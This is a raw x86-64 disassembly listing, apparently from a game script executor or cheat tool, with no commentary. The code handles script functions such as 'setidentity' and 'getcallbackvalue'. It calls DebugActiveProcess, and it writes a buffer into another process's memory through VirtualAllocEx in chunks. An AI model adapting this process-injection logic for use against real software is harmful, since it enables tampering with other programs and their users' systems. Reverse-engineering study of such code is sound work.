mov qword [rsp + 0xce8], rax
mov rcx, qword [rsp + 0x100]
add rcx, 0x10
call fcn.14000e860
mov rcx, qword [rsp + 0xce8]
xor rax, rcx
mov qword [rsp + 0x348], rax
jmp 0x140019837
mov rax, qword [rsp + 0x118]
add rax, 0x28
mov rcx, rax
call fcn.14000e860
mov rcx, qword [rsp + 0x118]
add rcx, 0x28
movsxd rdx, dword [rsp + 0x1e8]
lea rdx, [rdx*8 + 0xc20]
sub rdx, rcx
mov rcx, rdx
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0x348], rax
cmp qword [rsp + 0x348], 0
je 0x14001993d
mov rax, qword [rsp + 0x348]
mov qword [rsp + 0x758], rax
movzx eax, word [0x14031f058]
mov word [rsp + 0xd0], ax
movsx rax, word [0x140338898]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x758]
mov rcx, rax
call fcn.14000ea00
movsx eax, word [rsp + 0xd0]
mov dword [rsp + 0x53c], eax
movsx rax, word [0x14031f030]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x53c]
mov rcx, rax
call fcn.14000e9a0
movsx rax, word [0x140338898]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x758]
mov rcx, rax
call fcn.14000ea00
movsx eax, word [rsp + 0xd0]
mov dword [rsp + 0x540], eax
movsx rax, word [0x14031f030]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x540]
mov rcx, rax
call fcn.14000e9a0
jmp 0x14001a015
lea rdx, str.iscclosure
lea rcx, [rsp + 0x938]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x140019a93
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xcf0], rax
movsx rax, word [0x14031f018]
mov rcx, qword [rsp + 0xcf0]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.14000e720
movzx eax, al
mov dword [rsp + 0x544], eax
mov eax, dword [rsp + 0x544]
mov dword [rsp + 0x2dc], eax
movzx eax, word [0x14031f048]
mov word [rsp + 0xd4], ax
movsx rax, word [0x140338898]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x2dc]
mov rcx, rax
call fcn.14000e9a0
movsx eax, word [rsp + 0xd4]
mov dword [rsp + 0x548], eax
movsx rax, word [0x14031f030]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x548]
mov rcx, rax
call fcn.14000e9a0
movsx rax, word [0x140338898]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x2dc]
mov rcx, rax
call fcn.14000e9a0
movsx eax, word [rsp + 0xd4]
mov dword [rsp + 0x54c], eax
movsx rax, word [0x14031f030]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x54c]
mov rcx, rax
call fcn.14000e9a0
jmp 0x14001a015
lea rdx, str.isreadonly
lea rcx, [rsp + 0x938]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x140019be4
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xcf8], rax
movsx rax, word [0x14031f024]
mov rcx, qword [rsp + 0xcf8]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.14000e720
movzx eax, al
mov dword [rsp + 0x550], eax
mov eax, dword [rsp + 0x550]
mov dword [rsp + 0x2e0], eax
movzx eax, word [0x14031f048]
mov word [rsp + 0xd8], ax
movsx rax, word [0x140338898]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x2e0]
mov rcx, rax
call fcn.14000e9a0
movsx eax, word [rsp + 0xd8]
mov dword [rsp + 0x554], eax
movsx rax, word [0x14031f030]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x554]
mov rcx, rax
call fcn.14000e9a0
movsx rax, word [0x140338898]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x2e0]
mov rcx, rax
call fcn.14000e9a0
movsx eax, word [rsp + 0xd8]
mov dword [rsp + 0x558], eax
movsx rax, word [0x14031f030]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x558]
mov rcx, rax
call fcn.14000e9a0
jmp 0x14001a015
lea rdx, str.setreadonly
lea rcx, [rsp + 0x938]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x140019c6b
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xd00], rax
cmp qword [rsp + 0x760], 0
je 0x140019c27
mov dword [rsp + 0x2e4], 1
jmp 0x140019c32
mov dword [rsp + 0x2e4], 0
mov eax, dword [rsp + 0x2e4]
mov dword [rsp + 0x55c], eax
movsx rax, word [0x14031f024]
mov rcx, qword [rsp + 0xd00]
add rcx, rax
mov rax, rcx
lea rdx, [rsp + 0x55c]
mov rcx, rax
call fcn.14000e9a0
jmp 0x14001a015
lea rdx, str.getidentity
lea rcx, [rsp + 0x938]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x140019df3
movsx rax, word [0x14031f028]
mov rcx, qword [rsp + 0x118]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0xd08], rax
movsx rax, word [0x14031f02c]
mov rcx, qword [rsp + 0xd08]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.14000e770
mov dword [rsp + 0x560], eax
mov eax, dword [rsp + 0x560]
mov dword [rsp + 0x2e8], eax
movzx eax, word [0x14031f04c]
mov word [rsp + 0xdc], ax
cvtsi2sd xmm0, dword [rsp + 0x2e8]
movsd qword [rsp + 0xd10], xmm0
movsx rax, word [0x140338898]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0xd10]
mov rcx, rax
call fcn.14000ea00
movsx eax, word [rsp + 0xdc]
mov dword [rsp + 0x564], eax
movsx rax, word [0x14031f030]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x564]
mov rcx, rax
call fcn.14000e9a0
cvtsi2sd xmm0, dword [rsp + 0x2e8]
movsd qword [rsp + 0xd18], xmm0
movsx rax, word [0x140338898]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0xd18]
mov rcx, rax
call fcn.14000ea00
movsx eax, word [rsp + 0xdc]
mov dword [rsp + 0x568], eax
movsx rax, word [0x14031f030]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x568]
mov rcx, rax
call fcn.14000e9a0
jmp 0x14001a015
lea rdx, str.setidentity
lea rcx, [rsp + 0x938]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x140019e6f
movsx rax, word [0x14031f028]
mov rcx, qword [rsp + 0x118]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0xd28], rax
cvttsd2si eax, qword [rsp + 0xd20]
mov dword [rsp + 0x56c], eax
movsx rax, word [0x14031f02c]
mov rcx, qword [rsp + 0xd28]
add rcx, rax
mov rax, rcx
lea rdx, [rsp + 0x56c]
mov rcx, rax
call fcn.14000e9a0
jmp 0x14001a015
lea rdx, str.getcallbackvalue
lea rcx, [rsp + 0x938]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x14001a015
movsx rax, word [0x14031f03c]
mov rcx, qword [rsp + 0x100]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0x5d8], rax
mov rax, qword [rsp + 0x5d8]
add rax, 0x10
mov rcx, rax
call fcn.14000e860
add rax, 0x74
mov rcx, rax
call fcn.14000e770
cvtsi2sd xmm0, eax
movsd qword [rsp + 0x768], xmm0
movzx eax, word [0x14031f04c]
mov word [rsp + 0xe4], ax
movsx rax, word [0x140338898]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x768]
mov rcx, rax
call fcn.14000ea00
movsx eax, word [rsp + 0xe4]
mov dword [rsp + 0x570], eax
movsx rax, word [0x14031f030]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x40]
lea rdx, [rsp + 0x570]
mov rcx, rax
call fcn.14000e9a0
movsx rax, word [0x140338898]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x768]
mov rcx, rax
call fcn.14000ea00
movsx eax, word [rsp + 0xe4]
mov dword [rsp + 0x574], eax
movsx rax, word [0x14031f030]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0xc0]
lea rdx, [rsp + 0x574]
mov rcx, rax
call fcn.14000e9a0
mov rdx, qword [rsp + 0x5d8]
lea rcx, str.Got_instance:__p_n
call fcn.14000a170
mov r8d, 0x10
mov edx, 0x10
mov rcx, qword [rsp + 0x5d8]
call fcn.140016550
mov rax, qword [rsp + 0x7840]
mov ecx, dword [rax + 0xb8]
call qword [sym.imp.KERNEL32.dll_DebugActiveProcess]
lea rcx, [0x1402690cc]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov dword [rsp + 0x578], 0
movsx rax, word [0x140338898]
movsxd rcx, dword [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
add rdx, rcx
mov rcx, rdx
lea rax, [rcx + rax + 0x30]
lea rdx, [rsp + 0x578]
mov rcx, rax
call fcn.14000e9a0
nop
lea rcx, [rsp + 0x938]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1938]
call fcn.140010e70
movsxd rax, dword [0x14031f004]
mov rcx, qword [rsp + 0x120]
lea rax, [rcx + rax + 0x10]
mov rcx, rax
call fcn.14000e860
test rax, rax
jbe 0x14001facd
movsxd rax, dword [0x14031f004]
mov rcx, qword [rsp + 0x120]
add rcx, rax
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x500]
call fcn.1401cb270
nop
lea rcx, [rsp + 0x500]
call fcn.140015c60
movzx eax, al
test eax, eax
jne 0x14001a2e2
mov qword [rsp + 0x4c0], 0
jmp 0x14001a0ed
mov rax, qword [rsp + 0x4c0]
inc rax
mov qword [rsp + 0x4c0], rax
lea rcx, [rsp + 0x140]
call fcn.140024550
cmp qword [rsp + 0x4c0], rax
jae 0x14001a2e2
lea rcx, [rsp + 0x245]
call fcn.140004440
mov qword [rsp + 0xd30], rax
mov byte [rsp + 0x1a8], 0
mov byte [rsp + 0x1a9], 0
mov byte [rsp + 0x1aa], 0
mov byte [rsp + 0x1ab], 0
mov byte [rsp + 0x1ac], 0
mov byte [rsp + 0x1ad], 0
mov byte [rsp + 0x1ae], 0
mov byte [rsp + 0x1af], 0
mov byte [rsp + 0x1b0], 0
mov byte [rsp + 0x1b1], 0
mov byte [rsp + 0x1b2], 0
mov byte [rsp + 0x1b3], 0
mov byte [rsp + 0x1b4], 0
mov byte [rsp + 0x1b5], 0
mov byte [rsp + 0x1b6], 0
mov byte [rsp + 0x1b7], 0
mov byte [rsp + 0x1b8], 0
mov byte [rsp + 0x1b9], 0
mov byte [rsp + 0x1ba], 0
mov byte [rsp + 0x1bb], 0
mov byte [rsp + 0x1bc], 0
mov byte [rsp + 0x1bd], 0
mov byte [rsp + 0x1be], 0
mov byte [rsp + 0x1bf], 0
mov byte [rsp + 0x1c0], 0xf
mov byte [rsp + 0x1c1], 0
mov byte [rsp + 0x1c2], 0
mov byte [rsp + 0x1c3], 0
mov byte [rsp + 0x1c4], 0
mov byte [rsp + 0x1c5], 0
mov byte [rsp + 0x1c6], 0
mov byte [rsp + 0x1c7], 0
lea rax, [rsp + 0x1c8]
mov r8, rax
lea rdx, [rsp + 0x1a8]
lea rcx, [rsp + 0x2ac0]
call fcn.14000f730
lea rcx, [rsp + 0x1ba0]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x1800]
lea rcx, [rsp + 0x1ba0]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rsp + 0xd30]
lea rdx, [rsp + 0x1800]
lea rcx, [rsp + 0x1950]
call fcn.14000f9d0
nop
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xd38], rax
mov rdx, qword [rsp + 0x4c0]
lea rcx, [rsp + 0x140]
call fcn.1400117d0
mov rcx, qword [rsp + 0xd38]
add rcx, qword [rax]
mov rax, rcx
lea rdx, [rsp + 0x1950]
mov rcx, rax
call fcn.14000e910
nop
lea rcx, [rsp + 0x1950]
call fcn.140010e70
jmp 0x14001a0da
lea rdx, [0x140268f9c]
lea rcx, [rsp + 0x500]
call fcn.140006250
movzx eax, al
test eax, eax
je 0x14001afd5
lea rcx, [rsp + 0x1608]
call fcn.14000fa60
nop
mov qword [rsp + 0x1f0], 0
jmp 0x14001a330
mov rax, qword [rsp + 0x1f0]
inc rax
mov qword [rsp + 0x1f0], rax
lea rcx, [rsp + 0x50]
call fcn.140024550
cmp qword [rsp + 0x1f0], rax
jae 0x14001a5ac
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xd40], rax
mov rdx, qword [rsp + 0x1f0]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd40]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.14000e860
mov qword [rsp + 0x5e0], rax
cmp qword [rsp + 0x5e0], 0
jne 0x14001a399
jmp 0x14001a5ac
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xd48], rax
mov rdx, qword [rsp + 0x1f0]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd48]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.14000e860
cmp rax, 0xf
jbe 0x14001a4c8
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xd50], rax
mov rdx, qword [rsp + 0x1f0]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0xd50]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.14000e860
mov r8, qword [rsp + 0x5e0]
mov rdx, rax
lea rcx, [rsp + 0x1968]
call fcn.14000e660
nop
lea rax, [rsp + 0x1968]
mov qword [rsp + 0x770], rax
mov rcx, qword [rsp + 0x770]
call fcn.1400068b0
mov qword [rsp + 0x4c8], rax
mov rcx, qword [rsp + 0x770]
call fcn.140008cd0
mov qword [rsp + 0xd58], rax
jmp 0x14001a47b
mov rax, qword [rsp + 0x4c8]
inc rax
mov qword [rsp + 0x4c8], rax
mov rax, qword [rsp + 0xd58]
cmp qword [rsp + 0x4c8], rax
je 0x14001a4b6
mov rax, qword [rsp + 0x4c8]
movzx eax, byte [rax]
mov byte [rsp + 0x8c], al
lea rdx, [rsp + 0x8c]
lea rcx, [rsp + 0x1608]
call fcn.1400232e0
jmp 0x14001a468
lea rcx, [rsp + 0x1968]
call fcn.140010e70
jmp 0x14001a5a7
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xd60], rax
mov rdx, qword [rsp + 0x1f0]
lea rcx, [rsp + 0x50]
call fcn.1400117d0
mov rcx, qword [rsp + 0xd60]
add rcx, qword [rax]
mov rax, rcx
mov r8, qword [rsp + 0x5e0]
mov rdx, rax
lea rcx, [rsp + 0x1980]
call fcn.14000e660
nop
lea rax, [rsp + 0x1980]
mov qword [rsp + 0x778], rax
mov rcx, qword [rsp + 0x778]
call fcn.1400068b0
mov qword [rsp + 0x350], rax
mov rcx, qword [rsp + 0x778]
call fcn.140008cd0
mov qword [rsp + 0xd68], rax
jmp 0x14001a55f
mov rax, qword [rsp + 0x350]
inc rax
mov qword [rsp + 0x350], rax
mov rax, qword [rsp + 0xd68]
cmp qword [rsp + 0x350], rax
je 0x14001a59a
mov rax, qword [rsp + 0x350]
movzx eax, byte [rax]
mov byte [rsp + 0x8d], al
lea rdx, [rsp + 0x8d]
lea rcx, [rsp + 0x1608]
call fcn.1400232e0
jmp 0x14001a54c
lea rcx, [rsp + 0x1980]
call fcn.140010e70
jmp 0x14001a31d
lea rdx, [0x14025c4a3]
lea rcx, [rsp + 0x268]
call fcn.1400047d0
nop
lea rax, [rsp + 0x1608]
mov qword [rsp + 0x780], rax
mov rcx, qword [rsp + 0x780]
call fcn.1400068b0
mov qword [rsp + 0x358], rax
mov rcx, qword [rsp + 0x780]
call fcn.140008cd0
mov qword [rsp + 0xd70], rax
jmp 0x14001a610
mov rax, qword [rsp + 0x358]
inc rax
mov qword [rsp + 0x358], rax
mov rax, qword [rsp + 0xd70]
cmp qword [rsp + 0x358], rax
je 0x14001a64b
mov rax, qword [rsp + 0x358]
movzx eax, byte [rax]
mov byte [rsp + 0x8e], al
movzx edx, byte [rsp + 0x8e]
lea rcx, [rsp + 0x268]
call fcn.140004c10
jmp 0x14001a5fd
lea rdx, [0x140269c80]
lea rcx, [rsp + 0x1f50]
call fcn.1400047d0
nop
lea rdx, [0x140269c88]
lea rcx, [rsp + 0x1f30]
call fcn.1400047d0
nop
lea rax, [rsp + 0x2d58]
mov qword [rsp + 0xd78], rax
lea rdx, [rsp + 0x268]
mov rcx, qword [rsp + 0xd78]
call fcn.1400073d0
mov qword [rsp + 0xd80], rax
lea r9, [rsp + 0x1f50]
lea r8, [rsp + 0x1f30]
mov rdx, qword [rsp + 0xd80]
lea rcx, [rsp + 0x2610]
call fcn.140023f70
mov qword [rsp + 0xd88], rax
mov rdx, qword [rsp + 0xd88]
lea rcx, [rsp + 0x268]
call fcn.1400080b0
lea rcx, [rsp + 0x2610]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1f30]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1f50]
call fcn.140004ac0
lea rdx, [0x140269c98]
lea rcx, [rsp + 0x1f90]
call fcn.1400047d0
nop
lea rdx, [0x140269ca0]
lea rcx, [rsp + 0x1f70]
call fcn.1400047d0
nop
lea rax, [rsp + 0x2d78]
mov qword [rsp + 0xd90], rax
lea rdx, [rsp + 0x268]
mov rcx, qword [rsp + 0xd90]
call fcn.1400073d0
mov qword [rsp + 0xd98], rax
lea r9, [rsp + 0x1f90]
lea r8, [rsp + 0x1f70]
mov rdx, qword [rsp + 0xd98]
lea rcx, [rsp + 0x2630]
call fcn.140023f70
mov qword [rsp + 0xda0], rax
mov rdx, qword [rsp + 0xda0]
lea rcx, [rsp + 0x268]
call fcn.1400080b0
lea rcx, [rsp + 0x2630]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1f70]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1f90]
call fcn.140004ac0
lea rdx, [0x140269cb0]
lea rcx, [rsp + 0x1fd0]
call fcn.1400047d0
nop
lea rdx, [0x140269cb8]
lea rcx, [rsp + 0x1fb0]
call fcn.1400047d0
nop
lea rax, [rsp + 0x2d98]
mov qword [rsp + 0xda8], rax
lea rdx, [rsp + 0x268]
mov rcx, qword [rsp + 0xda8]
call fcn.1400073d0
mov qword [rsp + 0xdb0], rax
lea r9, [rsp + 0x1fd0]
lea r8, [rsp + 0x1fb0]
mov rdx, qword [rsp + 0xdb0]
lea rcx, [rsp + 0x2650]
call fcn.140023f70
mov qword [rsp + 0xdb8], rax
mov rdx, qword [rsp + 0xdb8]
lea rcx, [rsp + 0x268]
call fcn.1400080b0
lea rcx, [rsp + 0x2650]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1fb0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1fd0]
call fcn.140004ac0
lea rdx, [0x140269cc8]
lea rcx, [rsp + 0x2010]
call fcn.1400047d0
nop
lea rdx, [0x140269cd0]
lea rcx, [rsp + 0x1ff0]
call fcn.1400047d0
nop
lea rax, [rsp + 0x2db8]
mov qword [rsp + 0xdc0], rax
lea rdx, [rsp + 0x268]
mov rcx, qword [rsp + 0xdc0]
call fcn.1400073d0
mov qword [rsp + 0xdc8], rax
lea r9, [rsp + 0x2010]
lea r8, [rsp + 0x1ff0]
mov rdx, qword [rsp + 0xdc8]
lea rcx, [rsp + 0x2670]
call fcn.140023f70
mov qword [rsp + 0xdd0], rax
mov rdx, qword [rsp + 0xdd0]
lea rcx, [rsp + 0x268]
call fcn.1400080b0
lea rcx, [rsp + 0x2670]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x1ff0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2010]
call fcn.140004ac0
lea rdx, [0x140269ce0]
lea rcx, [rsp + 0x2050]
call fcn.1400047d0
nop
lea rdx, [0x140269cf0]
lea rcx, [rsp + 0x2030]
call fcn.1400047d0
nop
lea rax, [rsp + 0x2bd8]
mov qword [rsp + 0xdd8], rax
lea rdx, [rsp + 0x268]
mov rcx, qword [rsp + 0xdd8]
call fcn.1400073d0
mov qword [rsp + 0xde0], rax
lea r9, [rsp + 0x2050]
lea r8, [rsp + 0x2030]
mov rdx, qword [rsp + 0xde0]
lea rcx, [rsp + 0x2690]
call fcn.140023f70
mov qword [rsp + 0xde8], rax
mov rdx, qword [rsp + 0xde8]
lea rcx, [rsp + 0x268]
call fcn.1400080b0
lea rcx, [rsp + 0x2690]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2030]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2050]
call fcn.140004ac0
lea rdx, [0x140269d00]
lea rcx, [rsp + 0x2090]
call fcn.1400047d0
nop
lea rdx, [0x140269d10]
lea rcx, [rsp + 0x2070]
call fcn.1400047d0
nop
lea rax, [rsp + 0x2bf8]
mov qword [rsp + 0xdf0], rax
lea rdx, [rsp + 0x268]
mov rcx, qword [rsp + 0xdf0]
call fcn.1400073d0
mov qword [rsp + 0xdf8], rax
lea r9, [rsp + 0x2090]
lea r8, [rsp + 0x2070]
mov rdx, qword [rsp + 0xdf8]
lea rcx, [rsp + 0x26b0]
call fcn.140023f70
mov qword [rsp + 0xe00], rax
mov rdx, qword [rsp + 0xe00]
lea rcx, [rsp + 0x268]
call fcn.1400080b0
lea rcx, [rsp + 0x26b0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2070]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2090]
call fcn.140004ac0
lea rdx, [0x140269d20]
lea rcx, [rsp + 0x20d0]
call fcn.1400047d0
nop
lea rdx, [0x140269d30]
lea rcx, [rsp + 0x20b0]
call fcn.1400047d0
nop
lea rax, [rsp + 0x2c18]
mov qword [rsp + 0xe08], rax
lea rdx, [rsp + 0x268]
mov rcx, qword [rsp + 0xe08]
call fcn.1400073d0
mov qword [rsp + 0xe10], rax
lea r9, [rsp + 0x20d0]
lea r8, [rsp + 0x20b0]
mov rdx, qword [rsp + 0xe10]
lea rcx, [rsp + 0x26d0]
call fcn.140023f70
mov qword [rsp + 0xe18], rax
mov rdx, qword [rsp + 0xe18]
lea rcx, [rsp + 0x268]
call fcn.1400080b0
lea rcx, [rsp + 0x26d0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x20b0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x20d0]
call fcn.140004ac0
lea rdx, [0x140269d40]
lea rcx, [rsp + 0x2110]
call fcn.1400047d0
nop
lea rdx, [0x140269d50]
lea rcx, [rsp + 0x20f0]
call fcn.1400047d0
nop
lea rax, [rsp + 0x2c38]
mov qword [rsp + 0xe20], rax
lea rdx, [rsp + 0x268]
mov rcx, qword [rsp + 0xe20]
call fcn.1400073d0
mov qword [rsp + 0xe28], rax
lea r9, [rsp + 0x2110]
lea r8, [rsp + 0x20f0]
mov rdx, qword [rsp + 0xe28]
lea rcx, [rsp + 0x26f0]
call fcn.140023f70
mov qword [rsp + 0xe30], rax
mov rdx, qword [rsp + 0xe30]
lea rcx, [rsp + 0x268]
call fcn.1400080b0
lea rcx, [rsp + 0x26f0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x20f0]
call fcn.140004ac0
nop
lea rcx, [rsp + 0x2110]
call fcn.140004ac0
mov byte [rsp + 0xc4], 0
mov byte [rsp + 0xc5], 0
mov dword [rsp + 0x17c8], 0
mov dword [rsp + 0x17cc], 0
mov dword [rsp + 0x17d0], 0
mov dword [rsp + 0x17d4], 0
mov qword [rsp + 0x17d8], 0
mov qword [rsp + 0x17e0], 0
mov qword [rsp + 0x17e8], 0
mov qword [rsp + 0x17f0], 0
mov qword [rsp + 0x17f8], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0xc4]
lea r8, [rsp + 0x17c8]
lea rdx, [rsp + 0x268]
lea rcx, [rsp + 0x2710]
call fcn.14006e780
mov qword [rsp + 0xe38], rax
mov rdx, qword [rsp + 0xe38]
lea rcx, [rsp + 0x268]
call fcn.1400080b0
lea rcx, [rsp + 0x2710]
call fcn.140004ac0
xor edx, edx
lea rcx, [rsp + 0x268]
call fcn.140004b70
movsx eax, byte [rax]
test eax, eax
jle 0x14001ad58
xor edx, edx
lea rcx, [rsp + 0x268]
call fcn.140004b70
movsx eax, byte [rax]
cmp eax, 0xa
jl 0x14001ad7e
mov edx, 1
lea rcx, [rsp + 0x268]
call fcn.140004b70
mov rdx, rax
lea rcx, [0x140269d60]
call fcn.14000a170
jmp 0x14001afb5
lea rcx, [rsp + 0x268]
call fcn.1400057c0
mov qword [rsp + 0xe40], rax
mov rax, qword [0x140339930]
mov qword [rsp + 0xe48], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rsp + 0xe40]
xor edx, edx
mov rcx, qword [rsp + 0xe48]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x788], rax
lea rcx, [rsp + 0x268]
call fcn.1400057c0
mov qword [rsp + 0xe50], rax
lea rcx, [rsp + 0x268]
call fcn.140008fe0
mov qword [rsp + 0xe58], rax
mov r8, qword [rsp + 0xe50]
mov rdx, qword [rsp + 0xe58]
mov rcx, qword [rsp + 0x788]
call fcn.1400227e0
mov rax, qword [rsp + 0x788]
mov qword [rsp + 0x5f8], rax
mov qword [rsp + 0x1bf0], 0
lea rcx, [rsp + 0x268]
call fcn.1400057c0
mov qword [rsp + 0x2a0], rax
mov qword [rsp + 0x360], 0
jmp 0x14001ae7f
mov rax, qword [rsp + 0x360]
inc rax
mov qword [rsp + 0x360], rax
mov rax, qword [rsp + 0x2a0]
sub rax, 0x30000
mov qword [rsp + 0x2a0], rax
lea rcx, [rsp + 0x140]
call fcn.140024550
cmp qword [rsp + 0x360], rax
jae 0x14001afb5
cmp qword [rsp + 0x2a0], 0
jbe 0x14001afb5
cmp qword [rsp + 0x2a0], 0x7fffffff
jae 0x14001afb5
cmp qword [rsp + 0x2a0], 0x30000
jbe 0x14001aed7
mov qword [rsp + 0x790], 0x30000
jmp 0x14001aee7
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x790], rax
mov rax, qword [rsp + 0x790]
mov qword [rsp + 0x5f0], rax
movsxd rax, dword [0x14031f004]
mov qword [rsp + 0xe60], rax
mov rdx, qword [rsp + 0x360]
lea rcx, [rsp + 0x140]
call fcn.1400117d0
mov rcx, qword [rsp + 0xe60]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x5e8], rax
lea rdx, [rsp + 0x5f8]
mov rcx, qword [rsp + 0x5e8]
call fcn.14000ea00
mov rax, qword [rsp + 0x5e8]
add rax, 0x10
lea rdx, [rsp + 0x5f0]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x5f0]
or rax, 0x1f
mov qword [rsp + 0xe68], rax
mov rax, qword [rsp + 0x5e8]
add rax, 0x18
lea rdx, [rsp + 0xe68]
mov rcx, rax
call fcn.14000ea00
mov rax, qword [rsp + 0x5f0]
mov rcx, qword [rsp + 0x5f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5f8], rax
jmp 0x14001ae56
lea rcx, [rsp + 0x268]
call fcn.140004ac0
nop
